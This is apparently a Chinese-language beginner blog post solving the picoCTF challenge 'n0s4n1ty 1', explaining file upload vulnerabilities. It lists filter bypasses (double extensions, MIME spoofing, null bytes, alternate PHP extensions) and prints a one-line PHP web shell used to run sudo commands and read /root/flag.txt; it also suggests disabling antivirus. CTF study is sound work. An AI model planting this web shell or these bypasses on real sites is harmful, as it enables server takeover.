iT邦幫忙

2025 iThome 鐵人賽

DAY 22
0

想必大家都有過在網站上傳過大頭貼、投影片或是交作業檔案的經驗吧?

看起來再正常不過的功能,如果檢查不嚴格,卻可能變成駭客的後門——這就是 檔案上傳漏洞(File Upload Vulnerability)

在 CTF 的 Web 題裡,File Upload 幾乎是經典題型之一。因為一旦能成功上傳「惡意檔案」並執行,攻擊者就有機會直接控制伺服器,甚至拿到 flag!

什麼是 File Upload 漏洞?

網站通常會允許使用者上傳圖片、文件或壓縮檔,並把它們存放在伺服器上。

如果網站在檔案檢查上不夠嚴謹,攻擊者就可能:

  • 上傳惡意程式碼(例如 PHP WebShell)
  • 假裝是圖片但實際上能執行程式
  • 透過繞過副檔名或 MIME type 驗證,偷偷把惡意檔案放進去

在 CTF 中,這通常就代表:只要能成功上傳一個能執行的檔案 → 就能拿到 flag ✨

常見的檔案檢查機制 & 繞過方式

網站為了安全,通常會檢查上傳檔案的類型。但這些檢查往往不夠嚴格。

1. 副檔名檢查

  • 被擋:shell.php
  • 可能繞過:shell.php.jpgshell.pHp

2. MIME Type 檢查

伺服器可能只看 Content-Type: image/png

→ 我們可以在 Burp Suite 裡直接改成 image/png,即使上傳的其實是 PHP 檔案。

3. 黑名單檢查

有些系統只擋 .php,但可能忘了 .phtml.php5.php3 等副檔名。

4. 雙重編碼 / 特殊字元

利用 %00 或路徑解析差異,例如:

shell%00.php.jpg

如何驗證檔案存放位置?

光是上傳檔案還不夠,我們還需要「找到檔案在哪裡」。

通常會透過:

  • 預測路徑(例如 /uploads/yourfile.php
  • 觀察回應訊息中是否有顯示上傳成功的 URL
  • 嘗試常見資料夾:/upload//files//images/

找到檔案之後,就可以訪問它,若成功執行惡意程式碼 → 恭喜你成為 Admin 拿到 flag!

picoCTF - n0s4n1ty 1

這題有一個檔案上傳的地方,上傳之後他會把我們的檔案放在uploads資料夾下面

https://ithelp.ithome.com.tw/upload/images/20250917/20169105gi7KhTDziq.png

我們來嘗試上傳一句話木馬程式吧!

程式長這樣:<?php system($_GET['cmd']); ?> 就是透過 PHP 的 system Function 執行 Shell 指令!

建立一個檔案在裡面寫入程式(windows可能會刪除你的程式,可以考慮先把防毒關掉)

https://ithelp.ithome.com.tw/upload/images/20250917/20169105jZpBD2vPfX.png

上傳檔案之後打開我們的檔案,顯示以下畫面是正常的,我們要在網址後接?cmd= 再接我們的指令

https://ithelp.ithome.com.tw/upload/images/20250917/20169105WPELuqEjJU.png

他說了檔案在/root下面用sudo ls /root ,可以發現有flag.txt在目錄下

https://ithelp.ithome.com.tw/upload/images/20250917/20169105oyZq41pbfb.png

改成 sudo cat /root/flag.txt 就能獲得flag了!

https://ithelp.ithome.com.tw/upload/images/20250917/20169105xh1UfifGT8.png

題單


以上就是今天的內容啦

想看更多,記得明天再來喔~


上一篇
Day 21 - command injection
下一篇
Day 23 - xss
系列文
一天一題picoCTF:從Easy開始的新手生活27
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言